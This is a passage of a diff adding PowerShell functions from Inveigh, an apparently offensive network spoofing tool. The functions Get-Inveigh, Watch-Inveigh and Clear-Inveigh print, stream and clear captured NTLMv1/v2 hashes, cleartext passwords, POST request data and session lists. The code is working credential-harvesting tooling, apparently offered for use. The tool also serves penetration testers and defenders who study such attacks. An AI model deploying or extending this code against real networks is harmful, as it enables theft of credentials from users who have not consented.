[parameter(Mandatory=$false)][Switch]$NTLMv2, + [parameter(Mandatory=$false)][Switch]$NTLMv1Unique, + [parameter(Mandatory=$false)][Switch]$NTLMv2Unique, + [parameter(Mandatory=$false)][Switch]$NTLMv1Usernames, + [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, + [parameter(Mandatory=$false)][Switch]$POSTRequest, + [parameter(Mandatory=$false)][Switch]$POSTRequestUnique, + [parameter(Mandatory=$false)][Switch]$Session, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($Console -or $PSBoundParameters.Count -eq 0) + { + + while($inveigh.console_queue.Count -gt 0) + { + + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveAt(0) + } + else + { + + switch -wildcard ($inveigh.console_queue[0]) + { + + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + Write-Warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + default + { + Write-Output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + } + + } + + } + + } + + if($DNS) + { + + foreach($DNS in $inveigh.DNS_list) + { + + if($DNS.StartsWith("1,")) + { + Write-Output $DNS.Substring(2) + } + + } + + } + + if($DNSFailed) + { + + foreach($DNS in $inveigh.DNS_list) + { + + if($DNS.StartsWith("0,")) + { + Write-Output $DNS.Substring(2) + } + + } + + } + + if($Log) + { + Write-Output $inveigh.log + } + + if($NTLMv1) + { + Write-Output $inveigh.NTLMv1_list + } + + if($NTLMv1Unique) + { + $inveigh.NTLMv1_list.Sort() + + foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + { + $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) + + if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) + { + Write-Output $unique_NTLMv1 + } + + $unique_NTLMv1_account_last = $unique_NTLMv1_account + } + + } + + if($NTLMv1Usernames) + { + Write-Output $inveigh.NTLMv2_username_list + } + + if($NTLMv2) + { + Write-Output $inveigh.NTLMv2_list + } + + if($NTLMv2Unique) + { + $inveigh.NTLMv2_list.Sort() + + foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + { + $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) + + if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) + { + Write-Output $unique_NTLMv2 + } + + $unique_NTLMv2_account_last = $unique_NTLMv2_account + } + + } + + if($NTLMv2Usernames) + { + Write-Output $inveigh.NTLMv2_username_list + } + + if($Cleartext) + { + Write-Output $inveigh.cleartext_list + } + + if($CleartextUnique) + { + Write-Output $inveigh.cleartext_list | Get-Unique + } + + if($POSTRequest) + { + Write-Output $inveigh.POST_request_list + } + + if($POSTRequestUnique) + { + Write-Output $inveigh.POST_request_list | Get-Unique + } + + if($Learning) + { + Write-Output $inveigh.valid_host_list + } + + if($Session) + { + $i = 0 + + while($i -lt $inveigh.session_socket_table.Count) + { + + if(!$inveigh.session_socket_table[$i].Connected) + { + $inveigh.session_list[$i] | Where-Object {$_.Status = "disconnected"} + } + + $i++ + } + + Write-Output $inveigh.session_list | Format-Table -AutoSize + } + +} + +function Watch-Inveigh +{ +<# +.SYNOPSIS +Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. + +.PARAMETER ConsoleOutput +(Medium,Low) Medium and Low can be used to reduce output. +#> + +[CmdletBinding()] +param +( + [parameter(Mandatory=$false)][ValidateSet("Low","Medium")][String]$ConsoleOutput = "Y", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter +) + +if($inveigh.tool -ne 1) +{ + + if($inveigh.running -or $inveigh.relay_running) + { + Write-Output "[*] Press any key to stop real time console output" + $inveigh.console_output = $true + + :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + + while($inveigh.console_queue.Count -gt 0) + { + + switch -wildcard ($inveigh.console_queue[0]) + { + + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + Write-Warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} + { + + if($ConsoleOutput -eq 'Y') + { + Write-Output $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveAt(0) + + } + + {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} + { + + if($ConsoleOutput -ne "Low") + { + Write-Output $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveAt(0) + + } + + default + { + Write-Output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + } + + } + + if([Console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + + Start-Sleep -m 5 + } + + } + else + { + Write-Output "[-] Inveigh isn't running" + } + +} +else +{ + Write-Output "[-] Watch-Inveigh cannot be used with current external tool selection" +} + +} + +function Clear-Inveigh +{ +<# +.SYNOPSIS +Clear-Inveigh will clear Inveigh data from memory. +#> + +if($inveigh) +{ + + if(!$inveigh.running -and !$inveigh.relay_running) + { + Remove-Variable inveigh -scope global + Write-Output "[+] Inveigh data has been cleared from memory" + } + else + { + Write-Output "[-] Run Stop-Inveigh before running Clear-Inveigh" + } + +} + +}
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